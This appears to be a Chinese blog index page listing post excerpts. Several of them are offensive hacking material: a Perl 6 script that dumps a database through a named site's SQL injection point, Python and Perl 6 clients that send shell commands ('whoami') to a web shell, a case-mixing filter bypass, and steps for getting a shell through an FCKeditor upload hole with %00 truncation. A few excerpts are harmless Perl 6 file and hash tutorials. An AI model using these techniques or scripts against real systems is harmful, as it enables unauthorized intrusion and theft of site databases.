上一页 1 ··· 9 10 11 12 13 14 15 16 17 ··· 19 下一页

2017年6月3日

一个python拖库字段的小脚本

摘要: 刚学的py, 不知有没有像perl6中的直接把个变量写进文件 阅读全文

posted @ 2017-06-03 13:04 Perl6 阅读(383) 评论(0) 推荐(0) 编辑

2017年6月2日

perl6 拖库脚本

摘要: #注入点: #https://fei.sg/shop/products.php?action=content&id=-23 #check mysql column_name of the sqlinject use HTTP::UserAgent; use URI::Encode; my $all_table = "db_zf,dg_activity,dg_activity_log,... 阅读全文

posted @ 2017-06-02 22:53 Perl6 阅读(328) 评论(0) 推荐(0) 编辑

python2 处理urllib/urllib2错误并打印源码

摘要: import urllib2 import urllib url = 'http://localhost/12.php' data = {} data['cmd']='whoami' data = urllib.urlencode(data) try: content = urllib2.urlop 阅读全文

posted @ 2017-06-02 09:13 Perl6 阅读(149) 评论(0) 推荐(0) 编辑

perl6 修改文件并覆盖

摘要: use v6; my $filename = 'data.txt'; my $data = slurp $filename; say $data; $data ~~ s/'4'/'ABC'/; say $data; spurt $filename, $data; say 'Done!'; 用slur 阅读全文

posted @ 2017-06-02 06:25 Perl6 阅读(463) 评论(0) 推荐(0) 编辑

perl6文件操作

摘要: use v6; #perl6中读取文件方法 #:r 只读, :w 只写, :rw 读写, :a 追加 my $fp = open 'filename.txt', :rw; for $fp.^methods -> $method { say $method; } #向文件写入, 可以用say或print或print或spurt $fp.say('hello, world'); $fp.pr... 阅读全文

posted @ 2017-06-02 06:18 Perl6 阅读(201) 评论(0) 推荐(0) 编辑

2017年6月1日

python urllib2练习发送简单post

摘要: import urllib2 import urllib url = 'http://localhost/1.php' while True: data = raw_input('(ctrl+c exit)cmd>').strip() post = {} post['cmd'] = data content = urllib2.urlopen(url=url,d... 阅读全文

posted @ 2017-06-01 10:01 Perl6 阅读(342) 评论(0) 推荐(0) 编辑

某通用防注大小写绕过注入

摘要: 防注界面如下: 可以大小写混合绕过 阅读全文

posted @ 2017-06-01 01:11 Perl6 阅读(201) 评论(0) 推荐(0) 编辑

某p2p存在通用上传漏洞

摘要: google链接查找: 很多存在Fckeditor上传链接: 抓包上传%00截断后发送就能获取shell 如果一次发送不行, 就发送多几次即可 如果多次发送同一数据包不行就把%00改成两个%00%00再截断送送一次或多次即可拿shell 通用后台与数据库下载: 注意, 如果要下载数据库, 要把特殊字 阅读全文

posted @ 2017-06-01 01:03 Perl6 阅读(538) 评论(0) 推荐(0) 编辑

2017年5月27日

perl6 HTTP::UserAgent发送post

摘要: use HTTP::UserAgent; my $ua = HTTP::UserAgent.new; say 'All method:'; say $ua.^methods; my %data = :cmd('whoami'); my $result = $ua.post('http://localhost/1.php', %data); say $result.content; 阅读全文

posted @ 2017-05-27 03:04 Perl6 阅读(247) 评论(0) 推荐(0) 编辑

perl6中的hash定义(2)

摘要: 1 use v6; 2 my %ha= a=>1, :b, :!c; 3 say %ha; 4 say %ha; 5 #这里不能用%ha{a}, {a}表示调用a()函数了, 在perl6中, {}有特别函义 6 say %ha{'a'}; 阅读全文

posted @ 2017-05-27 02:52 Perl6 阅读(125) 评论(0) 推荐(0) 编辑

上一页 1 ··· 9 10 11 12 13 14 15 16 17 ··· 19 下一页

导航